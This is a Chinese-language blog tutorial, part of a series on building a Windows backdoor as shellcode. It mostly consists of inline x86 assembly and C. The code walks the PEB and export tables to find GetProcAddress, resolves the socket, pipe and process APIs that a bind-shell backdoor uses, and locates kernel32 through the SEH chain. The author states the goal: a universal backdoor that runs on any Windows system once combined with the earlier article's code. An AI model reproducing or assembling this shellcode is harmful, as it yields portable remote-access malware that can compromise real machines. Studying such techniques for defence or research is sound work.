在之前的文章中,我們實作了一個正向的匿名管道ShellCode
后門,為了保證文章的簡潔易懂并沒有增加針對呼叫函式的動態定位功能,此類方法在更換系統后則由于地址變化導致我們的后門無法正常使用,接下來將實作通過PEB獲取GetProcAddrees
函式地址,并根據該函式實作所需其他函式的地址自定位功能,通過列舉記憶體匯出表的方式自動實作定位所需函式的動態地址,從而實作后門的通用性,
1.7.1 通過PEB定位GetProcAddress
通過在第4.5章中筆者已經完整的分析并實作了定位kernel32.dll
模塊基地址的詳細分析流程,以下將直接利用PEB
查找kernerl32
地址,讀者可根據自身需求跳轉到相應文章中學習理解,本章只給出實作流程;
- 1.定位FS暫存器,FS暫存器指向TEB結構
- 2.在結構
TEB+0x30
的地方指向的是PEB結構 - 3.在
PEB+0x0C
的地方指向PEB_LDR_DATA
結構 - 4.在
PEB_LDR_DATA+0x1C
地方的第二個陣列記憶體出的就是kernel32.dll地址
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd
mov eax, [eax + 0x08] ; eax就是kernel32.dll的地址
mov Kernel32,eax
}
system("pause");
return 0;
}
運行上述程式則讀者可獲取到kernel32.dll
模塊的記憶體地址0x75B20000
,輸出效果圖如下所示;
既然拿到了當前模塊的基地址,下一步則是通過該地址尋找到GetProcAddress
的記憶體地址,而GetProcAddress
是在kernel32.dll
模塊中的匯出函式,所以我們可通過查找kernel32.dll
的匯出表來找到GetProcAddress
函式的記憶體地址,
首先匯出表的結構定義如下所示;
Typedef struct _IMAGE_EXPORT_DIRECTORY
{
Characteristics; 4
TimeDateStamp 4 # 時間戳
MajorVersion 2 # 主版本號
MinorVersion 2 # 子版本號
Name 4 # 模塊名
Base 4 # 基地址,加上序數就是函式地址陣列的索引值
NumberOfFunctions 4 # EAT匯出表條目數
NumberOfNames 4 # ENT匯出函式名稱表
AddressOfFunctions 4 # 指向函式地址陣列
AddressOfNames 4 # 函式名字的指標地址
AddressOfNameOrdinal 4 # 指向輸出序列號陣列
}
其中的欄位含義:
NumberOfFunctions欄位:為AddressOfFunctions
指向的函式地址陣列的個數;
NumberOfName欄位:為AddressOfNames
指向的函式名稱陣列的個數;
AddressOfFunctions欄位:指向模塊中所有函式地址的陣列;
AddressOfNames欄位:指向模塊中所有函式名稱的陣列;
AddressOfNameOrdinals欄位:指向AddressOfNames
陣列中函式對應序數的陣列;
當讀者需要在Kernel32.dll
模塊內查詢GetProcAddress
的地址時,可以采用如下所示的實作流程;
- 1.通過尋找
TEB/PEB
并在其中獲取kernel32.dll
模塊基址 - 2.在
(基址+0x3c)
處獲取e_lfanewc
此處代表的是PE模塊的標志 - 3.在
(基址+e_lfanew+0x78)
處獲取匯出表地址 - 4.在
(基址+export+0x1c)
處獲取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
- 5.搜索
AddressOfNames
來確定GetProcAddress
所對應的index
- 6.下標
index = AddressOfNameOrdinalse [ index ]
提取到,此時函式地址就存盤在AddressOfFunctions [ index ]
內
如上流程所示,我們查找GetProcAddress
的地址,就在函式名稱陣列中,搜索GetProcAddress
的名稱;找到后根據編號,在序號陣列中,得到它對應的序號值;最后根據序號值,在地址陣列中,提取出它的地址,其匯編代碼如下,并給出了詳細的解釋,
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
// 得到Kernel32基址
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd ;加載字串
mov eax, [eax + 0x08] ; kernel32.dll基址
// 定位到匯出表
mov ebp, eax ; 將基址存入ebp
mov eax, [ebp + 3Ch] ; eax = PE首部
mov edx, [ebp + eax + 78h] ; 匯出表地址
add edx, ebp ; edx = 匯出表地址
mov ecx, [edx + 18h] ; ecx = 輸出函式的個數
mov ebx, [edx + 20h]
add ebx, ebp ; ebx =函式名地址,AddressOfName
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; 依次找每個函式名稱
// 列舉尋找GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
// 如果是GetProcAddr則計算匯出地址
mov ebx, [edx + 24h]
add ebx, ebp ; ebx = 序號陣列地址, AddressOf
mov cx, [ebx + ecx * 2] ; ecx = 計算出的序號值
mov ebx, [edx + 1Ch]
add ebx, ebp ; ebx=函式地址的起始位置,AddressOfFunction
mov eax, [ebx + ecx * 4]
add eax, ebp ; 利用序號值,得到出GetProcAddress的地址
}
system("pause");
return 0;
}
讀者需要自行在反匯編末尾add eax,ebp
設定一個斷點,然后運行程式,觀察eax
中的資料可知,當前GetProcAddress
的地址為0x75c39570
,輸出效果圖如下所示;
1.7.2 匯編實作動態定位功能
有了上述功能的支持,動態定位的實作將變得格外容易,首先我們通過動態定位的方式確定GetProcAddress
的記憶體地址,該函式接收一個字串引數,則我們通過push
的方式將字串的十六進制依次壓堆疊保存,然后通過call [ebp+76]
呼叫也就是呼叫GetProcAddress
函式來動態得到記憶體地址,當得到地址后默認存盤在EAX暫存器內,此時則通過mov [ebx+]
的方式依次填充至通過sub esp,80
分配的區域空間內等待被呼叫,
首先實作該功能的前提是我們需要得到特定字串所對應的十六進制值,并將該值以32位模式切割,這段代碼可以使用Python語言非常快捷的實作轉換,如下所示,當讀者運行后則會輸出我們所需函式字串的十六進制形式;
import os,sys
# 傳入字串轉為機器碼
def StringToHex(String):
# 將字串轉換成位元組串
byte_str = String.encode()
# 將位元組串轉換成16進制字串
hex_str = byte_str.hex()
# 將16進制字串分割成32位一組,并用0填充不足32位的部分
hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
# 用空格連接每組32位的16進制字串
result = ' '.join(hex_list)
return result
if __name__ == "__main__":
MyList = [
"LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
"ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
"send","recv","Ws2_32"
]
for index in range(0,len(MyList)):
print("[*] 函式 = {:18s} | 壓縮資料: {}".format(MyList[index],StringToHex(MyList[index])))
運行上述代碼片段,讀者可得到函式的十六進制形式,并以32位作為切割,不足32位的則使用0補齊,如下圖所示;
首先我們以CreatePipe
函式為例,該函式字串壓縮資料為43726561,74655069,70650000
,而由于堆疊的后進先出特性,我們需要將其翻轉過來存盤,翻轉過來則是00006570,69506574,61657243
,又因為當前GetProcAddress
函式的記憶體地址被存盤在了ebp+76
的位置,則通過CALL
該地址則可實作呼叫函式的目的,當執行結束后則將回傳值放入到EAX暫存器內,此時只需要根據不同的變數空間mov [ebp+]
來賦值到不同變數內即可;
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+4], eax; CreatePipe
接著我們再來說一下WSAStartup
函式,該函式顯然不在kernel32.dll
模塊內,它在Ws2_32.dll
模塊內,我們需要先呼叫call [ebp+80]
也就是呼叫LoadLibrary
加載ws2_32.dll
模塊獲取該模塊的基地址,接著在通過call [ebp+76]
呼叫獲取該模塊中WSAStartup
函式的基址,但讀者需要注意的是,call [ebp+76]
時需要壓入兩個引數,其中push edi
帶指的是ws2_32.dll
的字串,而push esp
才是我們的WSAStartup
字串,其描述為高級語言則是GetProcAddress("Ws2_32.dll","WSAStartup")
形式;
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
根據上述提取原則,讀者可以自行提取代碼片段并替換特定位置的字串,最終可得到如下所示的一段自定位ShellCode代碼片段,該片段運行后則可將我們所需要的函式記憶體地址列舉出來并放到臨時變數中,等待我們使用;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll");
__asm
{
push ebp;
sub esp, 100;
mov ebp, esp;
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov edi, [eax + 0x08]
mov eax, [edi + 3Ch]
mov edx, [edi + eax + 78h]
add edx, edi
mov ecx, [edx + 18h]
mov ebx, [edx + 20h]
add ebx, edi
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, edi
; GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
; 如果是GetProcA表示找到
mov ebx, [edx + 24h]
add ebx, edi
mov cx, [ebx + ecx * 2]
mov ebx, [edx + 1Ch]
add ebx, edi
mov eax, [ebx + ecx * 4]
add eax, edi
; 把GetProcAddress的地址存在ebp + 76中
mov[ebp + 76], eax
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call[ebp + 76]
; 把LoadLibraryA的地址存在ebp+80中
mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243
push dword ptr 0x00000065
push dword ptr 0x70695064
push dword ptr 0x656d614e
push dword ptr 0x6b656550
push esp
push edi
call[ebp + 76]
mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550
push dword ptr 0x00000065
push dword ptr 0x6c694665
push dword ptr 0x74697257
push esp
push edi
call[ebp + 76]
mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257
push dword ptr 0
push dword ptr 0x656c6946
push dword ptr 0x64616552
push esp
push edi
call[ebp + 76]
mov[ebp + 20], eax; ReadFile
push dword ptr 0x00737365
push dword ptr 0x636f7250
push dword ptr 0x74697845
push esp
push edi
call[ebp + 76]
mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call[ebp + 76]
mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
push dword ptr 0x00007465
push dword ptr 0x6b636f73
push esp
push edi
call[ebp + 76]
mov[ebp + 32], eax; socket 0x00007465 0x6b636f73
push dword ptr 0
push dword ptr 0x646e6962
push esp
push edi
call[ebp + 76]
mov[ebp + 36], eax; bind 0x646e6962
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call[ebp + 76]
mov[ebp + 40], eax; listen 0x00006e65 0x7473696c
push dword ptr 0x00007470
push dword ptr 0x65636361
push esp
push edi
call[ebp + 76]
mov[ebp + 44], eax; accept 0x00007470 0x65636361
push 0
push dword ptr 0x646e6573
push esp
push edi
call[ebp + 76]
mov[ebp + 48], eax; send 0x646e6573
push 0
push dword ptr 0x76636572
push esp
push edi
call [ebp + 76]
mov [ebp + 52], eax; recv 0x76636572
}
system("pause");
return 0;
}
讀者可在特定位置下斷定,并切換到匯編模式,例如讀者可在system("pause")
上面下斷點,當運行后切換到自動視窗,則可看到EAX=0x76c323a0
的記憶體地址,此地址正是recv
函式的記憶體地址,如下圖所示;
至此我們通過自定位的方式實作了對函式記憶體的列舉,讀者可通過將本案例中的定位代碼自行拷貝并替換到上一篇文章中,此時我們就實作了一個完整的ShellCode
通用后門程式,該程式可在任意Windows
系統下被正確執行;
1.7.3 運用SEH鏈獲得Kernel32基址
SEH (Structured Exception Handling) 例外處理鏈是一種資料結構,用于維護和跟蹤在程式運行時發生的例外的處理程式的呼叫關系,當程式在執行期間發生例外時,SEH 例外處理鏈會按照一定的順序遍歷鏈表中的例外處理程式,直到找到一個能夠處理該例外的程式為止,
在SEH鏈表中存在一個默認例外處理函式UnhandledExceptionFilter
當程式在執行期間遇到未處理的例外時,作業系統會呼叫UnhandledExceptionFilter
函式來捕獲該例外,并且該函式會回傳一個特定的值,告訴作業系統如何處理該例外,
UnhandledExceptionFilter 指標是在例外鏈的最后,它的上一個值是指向下一個處理點的地址,因為后面沒有例外處理點了,所以會被表示為0xFFFFFFFF
有了這個原理那么我們就可以搜索例外處理鏈表,得到UnhandledExceptionFilter
的記憶體地址,首先我們通過mov esi,fs:0
得到執行緒的TLS
也就是執行緒本地存盤的指標,然后通過回圈的方式向下遍歷,直到遍歷到指標的最后,此時也就得到了UnhandledExceptionFilter
的地址,如下代碼片段則可輸出該地址;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最后
mov eax, [eax] ; 否則繼續遍歷
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
mov address,eax
}
printf("UnhandledExceptionFilter = %x \n", address);
system("pause");
return 0;
}
執行如上匯編指令,則可獲取到UnhandledExceptionFilter
的記憶體地址,此處輸出結果如下圖所示;
此時我們已經得到了UnhandledExceptionFilter
函式的記憶體地址,由于該函式是Kernel32.dll
里面的匯出函式,所以我們就從UnhandledExceptionFilter
函式的地址往上找,找到開頭的地方,自然就是Kerner32
的基地址了,
此外由于Kerner32
模塊也是可執行檔案,其開始標志同樣是MZ
和PE
,而且因為系統分配某個空間時,總要從一個分配粒度的邊界開始,在32位下,這個粒度是64KB,所以我們搜索時,可以按照64kb
遞減往低地址搜索,當到了MZ
和PE
標志時,也就找到了Kernel32
的基地址,實作代碼如下:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最后
mov eax, [eax] ; 否則繼續遍歷
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
FindMZ :
and eax, 0xffff0000 ; 64k對齊特征
cmp word ptr[eax], 'ZM' ; 判斷是不是MZ格式
jne MoveUp
mov ecx, [eax + 0x3c]
add ecx, eax
cmp word ptr[ecx], 'EP' ; 判斷是不是PE
je Found ; 找到了
MoveUp :
dec eax ; 指向下一個界起始地址
jmp FindMZ
Found :
mov address, eax
nop
}
printf("Kernel32 = %x \n", address);
system("pause");
return 0;
}
編譯并運行上述匯編代碼,則可以輸出kernel32.dll
模塊的基地址,輸出效果如下所示;
文章出處:https://www.cnblogs.com/LyShark/p/17527688.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/556641.html
標籤:其他
下一篇:返回列表